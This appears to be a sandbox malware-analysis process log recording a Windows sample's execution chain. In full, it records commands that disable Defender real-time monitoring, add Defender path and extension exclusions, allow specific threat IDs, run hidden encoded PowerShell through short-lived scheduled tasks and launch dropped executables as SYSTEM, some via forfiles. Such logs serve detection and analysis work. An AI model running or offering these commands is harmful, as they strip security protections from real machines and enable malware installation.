C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:3976

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:3988

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gOaFJbJnF" /SC once /ST 03:20:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2524

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gOaFJbJnF"
3⤵
PID:3504

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gOaFJbJnF"
3⤵
PID:1352

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:1724

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2960

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
PID:2924

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2084

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2904

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:984

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2268

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2416

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1596

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2532

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2340

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\cksoItPsQhGrxIuH\DUXLrkJC\iKpmXXUiWuHXXZcK.wsf"
3⤵
PID:4116

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\cksoItPsQhGrxIuH\DUXLrkJC\iKpmXXUiWuHXXZcK.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:4144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:4172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:4044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3508

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:876

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:3112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QVWjqfQytQiLC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XPXpeEiKDyUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4108

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dSFCGoajU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yPeEHKRKYSIU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\LIlQlxhqsAqlQuVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4356

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\cksoItPsQhGrxIuH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4716

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gFKZUZqAC" /SC once /ST 15:52:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gFKZUZqAC"
3⤵
PID:4824

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gFKZUZqAC"
3⤵
PID:4852

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:2676

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:4872

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:3744

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1608

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 18:30:17 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\tlxKVRf.exe\" xE /ebdvdidoA 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4476

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:4516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 648
3⤵
- Program crash
PID:4460

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\XFNPoyW.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\XFNPoyW.exe oU /bwSdidqf 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1532

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1540

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:4420

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4356

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4384

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4408

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4372

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4452

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:4432

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4416

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:4412

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:4680

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4464

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:4400

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:4704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4292

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:2396

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "guTApCFVy" /SC once /ST 10:01:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4560

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "guTApCFVy"
3⤵
PID:4616

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "guTApCFVy"
3⤵
PID:3840

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1636

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1796

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:2924

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1724

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gnFFvWtge" /SC once /ST 09:48:35 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:3392

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gnFFvWtge"
3⤵
PID:3100

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gnFFvWtge"
3⤵
PID:4552

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:2776

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:5044

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:4800

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:4884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZeWKVsXrVUhETallN" /SC once /ST 10:01:25 /RU "SYSTEM" /TR "\"C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\LtRBcxp.exe\" xE /TgKfdidDP 385134 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4912

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZeWKVsXrVUhETallN"
3⤵
PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1532 -s 260
3⤵
- Program crash
PID:5080

C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\tlxKVRf.exe
C:\Windows\Temp\cksoItPsQhGrxIuH\VbWwSTopJxofzBQ\tlxKVRf.exe xE /ebdvdidoA 385134 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4644

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:4808

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:4880

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:5024

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:1196

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4836

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4012

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4912

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:2556

